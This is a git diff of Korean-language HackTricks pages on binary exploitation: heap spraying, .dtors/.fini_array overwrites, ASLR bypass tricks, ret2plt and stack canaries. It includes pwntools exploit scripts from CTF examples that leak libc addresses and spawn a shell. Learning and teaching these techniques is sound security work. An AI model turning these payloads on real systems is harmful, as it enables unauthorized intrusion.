**Heap Spraying**
|
||||
|
||||
기본적으로 가능한 한 많은 힙 메모리를 예약하고 이를 모두 nop으로 끝나는 셸코드로 채우는 것입니다. 또한 0x0c를 셜코드로 사용합니다. 따라서 0x0c0c0c0c 주소로 점프하려고 시도하며, 이렇게 하면 이 셜코드로 호출될 주소가 덮어씌워지면 거기로 점프합니다. 기본적으로는 가능한 한 많이 예약하여 어떤 포인터가 덮어씌워지는지 확인하고 0x0c0c0c0c로 점프하여 그곳에 nop이 있는지 확인하는 전략입니다.
|
||||
기본적으로 가능한 한 많은 힙 메모리를 예약하고 이를 nops로 끝나는 셸코드로 채웁니다. 또한 0x0c를 셜코드로 사용합니다. 따라서 0x0c0c0c0c 주소로 점프하려고 시도하며, 따라서 이 셜코드로 호출될 주소가 덮어쓰여지면 그곳으로 점프합니다. 기본적으로 전략은 가능한 한 많이 예약하여 어떤 포인터가 덮어쓰여지는지 확인하고 0x0c0c0c0c로 점프하여 그곳에 nops가 있는지 확인하는 것입니다.
|
||||
|
||||
**힙 펑 수이**
|
||||
**Heap Feng Shui**
|
||||
|
||||
힙을 예약하고 해제하여 빈 힙 사이에 예약된 조각이 남도록 메모리를 정리하는 것입니다. 오버플로우할 버퍼는 이 중 하나에 위치합니다.
|
||||
예약 및 해제를 통해 메모리를 세분화하여 빈 조각 사이에 예약된 조각이 남도록 메모리를 정리하는 것입니다. 오버플로우할 버퍼는 이 중 하나에 위치합니다.
|
||||
|
||||
## 흥미로운 코스
|
||||
|
||||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||||
|
||||
## **참고 자료**
|
||||
|
||||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 히어로까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** 트위터 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
# AWS2Exec - .dtors & .fini\_array
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## .dtors
|
||||
|
||||
{% hint style="danger" %}
|
||||
현재는 **.dtors 섹션을 포함한 이진 파일을 찾기가 매우 이상합니다**.
|
||||
{% endhint %}
|
||||
|
||||
소멸자는 **프로그램이 종료되기 전에 실행되는 함수**입니다 (`main` 함수가 반환된 후).\
|
||||
이러한 함수들의 주소는 이진 파일의 **`.dtors`** 섹션에 저장되어 있으며, 따라서 **`__DTOR_END__`**에 **쉘코드 주소를 쓰면** 프로그램이 종료되기 전에 **실행**됩니다.
|
||||
|
||||
다음 명령을 사용하여 이 섹션의 주소를 가져옵니다:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
일반적으로 **DTOR** 마커는 `ffffffff`와 `00000000` 값 사이에 있습니다. 따라서 이 값만 보인다면 **등록된 함수가 없다는 것**을 의미합니다. 그래서 **`00000000`**을 **쉘코드의 주소**로 **덮어쓰세요**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
물론, 나중에 호출하기 위해 **쉘코드를 저장할 곳을 먼저 찾아야** 합니다.
|
||||
{% endhint %}
|
||||
|
||||
## **.fini\_array**
|
||||
|
||||
이것은 프로그램이 종료되기 전에 호출되는 **함수들이 포함된 구조**입니다. **`.dtors`**와 마찬가지로 **주소로 점프하여 쉘코드를 호출**하거나 **취약점을 두 번째로 이용하기 위해 다시 `main`으로 돌아가야 하는 경우**에 흥미로울 수 있습니다.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
./greeting: file format elf32-i386
|
||||
|
||||
Contents of section .fini_array:
|
||||
8049934 a0850408
|
||||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
**주의**하십시오. 이것은 **영원한 루프**를 **생성하지 않습니다**. 왜냐하면 main으로 돌아가면 canary가 감지하고, 스택의 끝이 손상될 수 있고 함수가 다시 호출되지 않을 수 있습니다. 따라서 이를 통해 취약점을 **1번 더 실행**할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
[Full Relro](../common-binary-protections-and-bypasses/relro.md)로 설정된 경우, 섹션 `.fini_array`는 **읽기 전용**으로 만들어집니다.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅까지 AWS 해킹 배우기</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**Address Space Layout Randomization (ASLR)**은 운영 체제에서 사용되는 보안 기술로, 시스템 및 응용 프로그램 프로세스에서 사용하는 **메모리 주소를 무작위로 변경**합니다. 이렇게 함으로써 특정 프로세스 및 데이터의 위치를 예측하는 것이 상당히 어려워지며, 스택, 힙, 라이브러리 등 특정 유형의 공격을 완화하는 데 도움이 됩니다.
|
||||
**Address Space Layout Randomization (ASLR)**는 운영 체제에서 사용되는 보안 기술로, 시스템 및 응용 프로그램 프로세스에서 사용하는 **메모리 주소를 무작위로 변경**합니다. 이렇게 함으로써 특정 프로세스 및 데이터의 위치를 예측하는 것이 훨씬 어려워지며, 스택, 힙 및 라이브러리와 같은 특정 유형의 공격을 완화시킵니다.
|
||||
|
||||
### **ASLR 상태 확인**
|
||||
|
||||
|
@ -24,7 +24,7 @@ Linux 시스템에서 ASLR 상태를 **확인**하려면 `/proc/sys/kernel/rando
|
|||
|
||||
* **0**: 무작위화 없음. 모든 것이 정적입니다.
|
||||
* **1**: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다.
|
||||
* **2**: 완전한 무작위화. 보수적인 무작위화에 추가로 `brk()`를 통해 관리되는 메모리가 무작위화됩니다.
|
||||
* **2**: 완전한 무작위화. 보수적인 무작위화에 의해 무작위화된 요소에 추가하여 `brk()`를 통해 관리되는 메모리가 무작위화됩니다.
|
||||
|
||||
다음 명령을 사용하여 ASLR 상태를 확인할 수 있습니다:
|
||||
```bash
|
||||
|
@ -43,13 +43,13 @@ setarch `uname -m` -R ./bin args
|
|||
```
|
||||
### **ASLR 활성화**
|
||||
|
||||
ASLR를 **활성화**하려면 `/proc/sys/kernel/randomize_va_space` 파일에 **2** 값을 작성할 수 있습니다. 일반적으로 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령을 사용할 수 있습니다:
|
||||
ASLR을 **활성화**하려면 `/proc/sys/kernel/randomize_va_space` 파일에 **2** 값을 작성할 수 있습니다. 일반적으로 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **부팅 간 지속성**
|
||||
|
||||
`echo` 명령어로 한 변경 사항은 일시적이며 재부팅시 초기화됩니다. 변경 사항을 지속적으로 유지하려면 `/etc/sysctl.conf` 파일을 편집하여 다음 줄을 추가하거나 수정해야 합니다:
|
||||
`echo` 명령으로 만든 변경 사항은 일시적이며 재부팅시 초기화됩니다. 변경 사항을 지속적으로 유지하려면 `/etc/sysctl.conf` 파일을 편집하여 다음 줄을 추가하거나 수정해야 합니다:
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
|
@ -71,7 +71,7 @@ PaX는 프로세스 주소 공간을 **3 그룹**으로 나눕니다:
|
|||
* `mmap()`에 의해 할당된 **메모리** 및 **공유 라이브러리** —> **16비트**, `delta_mmap`이라고 함.
|
||||
* **스택** —> **24비트**, `delta_stack`이라고 함. 그러나 실제로 **11비트**를 사용합니다 (10번째부터 20번째 바이트까지 포함), **16바이트**에 정렬됨 —> 이로 인해 **524,288개의 가능한 실제 스택 주소**가 생성됩니다.
|
||||
|
||||
이전 데이터는 32비트 시스템을 위한 것이며 최종 엔트로피 감소로 인해 공격이 성공적으로 완료될 때까지 실행을 여러 번 시도하여 ASLR을 우회할 수 있습니다.
|
||||
이전 데이터는 32비트 시스템을 위한 것이며 최종 엔트로피 감소로 인해 ASLR을 우회하여 공격이 성공적으로 완료될 때까지 실행을 다시 시도할 수 있습니다.
|
||||
|
||||
#### 무차별 대입 아이디어:
|
||||
|
||||
|
@ -81,17 +81,34 @@ PaX는 프로세스 주소 공간을 **3 그룹**으로 나눕니다:
|
|||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* 원격 서버를 공격할 때 `libc` 함수 `usleep`의 주소를 **브루트 포스**하여 10을 인자로 전달할 수 있습니다. 서버가 응답하는 데 10초 더 걸린다면 이 함수의 주소를 찾은 것입니다.
|
||||
* 원격 서버를 공격할 때, `libc` 함수 `usleep`의 주소를 **10(예를 들어)으로 전달하여 **`burte-force** 시도할 수 있습니다. 서버가 응답하는 데 **10초 더 걸린다면**, 이 함수의 주소를 찾은 것입니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
64비트 시스템에서 엔트로피가 훨씬 높아 이것은 불가능합니다.
|
||||
{% endhint %}
|
||||
|
||||
### 누출이 있는 경우
|
||||
### 로컬 정보 (`/proc/[pid]/stat`)
|
||||
|
||||
* **누출이 주어지는 도전**
|
||||
프로세스의 **`/proc/[pid]/stat`** 파일은 항상 누구나 읽을 수 있으며 **다음과 같은** 흥미로운 정보를 포함합니다:
|
||||
|
||||
누출이 주어진 경우 (쉬운 CTF 도전), 해당 누출로부터 오프셋을 계산할 수 있습니다 (예를 들어 공격 중인 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정). 이 예제 exploit은 [**여기의 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)에서 추출되었습니다 (자세한 내용은 해당 페이지를 확인하세요):
|
||||
* **startcode** 및 **endcode**: **바이너리의 TEXT**와 관련된 위쪽 및 아래쪽 주소
|
||||
* **startstack**: **스택**의 시작 주소
|
||||
* **start\_data** 및 **end\_data**: **BSS**가 있는 위쪽 및 아래쪽 주소
|
||||
* **kstkesp** 및 **kstkeip**: 현재 **ESP** 및 **EIP** 주소
|
||||
* **arg\_start** 및 **arg\_end**: **cli 인수**가 있는 위쪽 및 아래쪽 주소
|
||||
* **env\_start** 및 **env\_end**: **환경 변수**가 있는 위쪽 및 아래쪽 주소
|
||||
|
||||
따라서, 공격자가 취약한 이진 파일이 있는 컴퓨터와 동일한 위치에 있고, 해당 이진 파일이 원시 인수에서 오버플로우를 기대하지 않지만 이 파일을 읽은 후 **생성할 수 있는 다른 입력에서 오버플로우가 발생한다면** 공격자는 **이 파일에서 일부 주소를 얻고 해당 주소로부터 공격을 위한 오프셋을 구성할 수 있습니다**.
|
||||
|
||||
{% hint style="success" %}
|
||||
이 파일에 대한 자세한 정보는 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)에서 `/proc/pid/stat`을 검색하여 확인할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### Leak이 있는 경우
|
||||
|
||||
* **도전 과제는 Leak을 제공하는 것입니다**
|
||||
|
||||
Leak이 주어진 경우 (쉬운 CTF 도전 과제), 해당 Leak에서 오프셋을 계산할 수 있습니다 (예를 들어, 공격하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정). 이 예제 exploit은 [**여기의 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)에서 추출되었습니다 (자세한 내용은 해당 페이지를 확인하십시오):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -137,9 +154,15 @@ payload += b'%3$s' # The third parameter points at the start of the
|
|||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||
payload += p32(elf.symbols['main'])
|
||||
```
|
||||
### Ret2ret
|
||||
다음 위치에서 Format Strings 임의 읽기에 대한 자세한 정보를 찾을 수 있습니다:
|
||||
|
||||
스택 내부 주소를 악용하여 ASLR을 우회해보세요:
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ret2ret & Ret2pop
|
||||
|
||||
스택 내부 주소를 악용하여 ASLR을 우회하려고 시도하십시오:
|
||||
|
||||
{% content-ref url="../../stack-overflow/ret2ret.md" %}
|
||||
[ret2ret.md](../../stack-overflow/ret2ret.md)
|
||||
|
|
|
@ -4,13 +4,13 @@
|
|||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하고 싶다면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,7 +18,7 @@
|
|||
|
||||
이 기술의 목표는 **PLT에서 함수의 주소를 누설**하여 ASLR을 우회할 수 있도록 하는 것입니다. 예를 들어, libc에서 `puts` 함수의 주소를 누설하면 **`libc`의 베이스가 어디인지 계산**하고 **`system`**과 같은 다른 함수에 액세스하기 위한 오프셋을 계산할 수 있습니다.
|
||||
|
||||
이는 `pwntools` 페이로드를 사용하여 수행할 수 있습니다 ([**여기에서**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)).
|
||||
이는 `pwntools` 페이로드를 사용하여 수행할 수 있습니다 ([**여기에서**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got) 참조):
|
||||
```python
|
||||
# 32-bit ret2plt
|
||||
payload = flat(
|
||||
|
@ -37,15 +37,15 @@ elf.plt['puts'],
|
|||
elf.symbols['main']
|
||||
)
|
||||
```
|
||||
**`puts`**가 `GOT`에 위치한 `puts`의 주소로 호출될 때 주목하세요. 이는 `puts`가 `GOT` 항목을 출력할 때, 이 **항목은 메모리에 있는 `puts`의 주소를 포함**하게 되기 때문입니다.
|
||||
**`puts`** (PLT 주소를 사용)가 `GOT`에 위치한 `puts`의 주소로 호출되는 방법에 주목하세요. 이는 `puts`가 `GOT` 항목을 출력할 때, 이 **항목은 메모리에 있는 `puts`의 주소를 포함**하기 때문입니다.
|
||||
|
||||
또한, `main`의 주소가 exploit에서 사용되어 `puts`가 실행을 마치면 **바이너리가 종료되는 대신 `main`을 다시 호출**하므로 유출된 주소는 계속 유효할 것입니다.
|
||||
또한, exploit에서 `main`의 주소가 사용되는 방법에 주목하세요. 이렇게 함으로써 `puts`가 실행을 마치면 **바이너리가 종료되는 대신 `main`을 다시 호출**합니다 (따라서 유출된 주소는 계속 유효할 것입니다).
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 작업이 작동하려면 바이너리가 **PIE로 컴파일되어서는 안 되거나** `PLT`, `GOT`, `main`의 주소를 알기 위해 **PIE를 우회할 유출을 찾아야 합니다**.
|
||||
이 작업을 수행하려면 이를 위해 **바이너리가 PIE로 컴파일되어서는 안 되거나**, `PLT`, `GOT`, `main`의 주소를 알기 위해 **PIE를 우회하기 위한 유출을 찾아야 합니다**.
|
||||
{% endhint %}
|
||||
|
||||
[**이 우회의 전체 예제를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). 이것은 해당 예제의 최종 exploit이었습니다:
|
||||
[**이 우회 방법의 전체 예제를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). 이것은 해당 예제의 최종 exploit이었습니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -81,16 +81,9 @@ p.sendline(payload)
|
|||
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
## 다른 예시 및 참고 자료
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64비트, ASLR 활성화되어 있지만 PIE가 없는 경우, 첫 번째 단계는 canary의 바이트 0x00까지 오버플로우를 채워서 puts를 호출하여 릭(Leak)하는 것입니다. Canary로부터 ROP 가젯을 생성하여 GOT에서 puts의 주소를 릭하고 `system('/bin/sh')`를 호출하는 ROP 가젯을 호출합니다.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64비트, ASLR 활성화되어 있지만 canary가 없는 경우, 메인 함수에서의 스택 오버플로우가 발생하는 자식 함수로부터 발생합니다. puts를 호출하여 GOT에서 puts의 주소를 릭한 다음 one gadget을 호출하는 ROP 가젯입니다.
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 스택 카나리
|
||||
# 스택 가니
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,56 +6,78 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR 제출**을 통해 해킹 요령을 공유하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **StackGuard 및 StackShield**
|
||||
## **StackGuard와 StackShield**
|
||||
|
||||
**StackGuard**는 **EIP (Extended Instruction Pointer)** 앞에 `0x000aff0d` (null, newline, EOF, carriage return을 나타냄)와 같은 특별한 값을 삽입하여 버퍼 오버플로우에 대비하기 위해 **카나리**를 삽입합니다. 그러나 `recv()`, `memcpy()`, `read()`, `bcopy()`와 같은 함수는 취약하며 **EBP (Base Pointer)**를 보호하지 않습니다.
|
||||
**StackGuard**는 **EIP (Extended Instruction Pointer)** 앞에 특별한 값을 삽입하는데, 이를 **canary**라고 하며 버퍼 오버플로우에 대비하여 `0x000aff0d` (null, newline, EOF, carriage return을 나타냄)를 사용합니다. 그러나 `recv()`, `memcpy()`, `read()`, `bcopy()`와 같은 함수들은 취약하며 **EBP (Base Pointer)**를 보호하지 않습니다.
|
||||
|
||||
**StackShield**는 **전역 반환 스택**을 유지함으로써 StackGuard보다 더 정교한 접근 방식을 취합니다. 이 스택은 모든 반환 주소 (**EIPs**)를 저장하며 오버플로우가 피해를 입히지 않도록 합니다. 이는 저장된 실제 반환 주소와 비교하여 오버플로우 발생을 감지하는 것을 허용합니다. 또한 StackShield는 반환 주소를 경계 값과 비교하여 **EIP**가 예상 데이터 공간 외부를 가리키는지 감지할 수 있습니다. 그러나 이 보호 기능은 Return-to-libc, ROP (Return-Oriented Programming), 또는 ret2ret과 같은 기술을 통해 우회될 수 있으며, 이는 StackShield가 로컬 변수를 보호하지 않음을 의미합니다.
|
||||
**StackShield**는 **Global Return Stack**을 유지하여 모든 반환 주소 (**EIPs**)를 저장함으로써 StackGuard보다 더 정교한 방식을 취합니다. 이 설정은 저장된 실제 반환 주소와 비교하여 오버플로우 발생을 감지하기 위해 저장된 반환 주소와 실제 반환 주소를 비교할 수 있도록 합니다. 또한 StackShield는 반환 주소를 기대 데이터 공간 외부를 가리키는지 여부를 감지하기 위해 반환 주소를 경계 값과 비교할 수 있습니다. 그러나 이 보호 기능은 Return-to-libc, ROP (Return-Oriented Programming), 또는 ret2ret과 같은 기술을 통해 우회될 수 있으며, 이는 StackShield가 로컬 변수를 보호하지 않음을 의미합니다.
|
||||
|
||||
## **스택 스매시 프로텍터 (ProPolice) `-fstack-protector`:**
|
||||
## **스택 스매시 보호자 (ProPolice) `-fstack-protector`:**
|
||||
|
||||
이 메커니즘은 **EBP** 앞에 **카나리**를 배치하고 버퍼가 다른 변수를 덮어쓰지 못하도록 로컬 변수를 재배치하여 버퍼를 더 높은 메모리 주소에 배치합니다. 또한 스택에 전달된 인수를 안전하게 복사하고 이 복사본을 인수로 사용합니다. 그러나 8개 미만의 요소를 가진 배열이나 사용자 구조체 내의 버퍼를 보호하지 않습니다.
|
||||
이 메커니즘은 **EBP** 앞에 **canary**를 배치하고 로컬 변수를 재배치하여 버퍼가 다른 변수를 덮어쓰지 못하도록 높은 메모리 주소에 버퍼를 배치합니다. 또한 스택 위에 전달된 인수를 안전하게 복사하고 이 복사본을 인수로 사용합니다. 그러나 8개 미만의 요소를 가진 배열이나 사용자 구조체 내의 버퍼를 보호하지 않습니다.
|
||||
|
||||
**카나리**는 `/dev/urandom`에서 파생된 무작위 숫자이거나 기본 값인 `0xff0a0000`입니다. 이는 **TLS (Thread Local Storage)**에 저장되어 스레드 간에 공유 메모리 공간을 가질 수 있도록 합니다. 이러한 변수들은 초기에 부모 프로세스에서 복사되며, 자식 프로세스는 부모나 형제에 영향을 주지 않고 데이터를 변경할 수 있습니다. 그러나 **새로운 카나리를 생성하지 않고 `fork()`를 사용하는 경우 모든 프로세스(부모 및 자식)가 동일한 카나리를 공유**하므로 취약해집니다. **i386** 아키텍처에서 카나리는 `gs:0x14`에 저장되고, **x86\_64**에서는 `fs:0x28`에 저장됩니다.
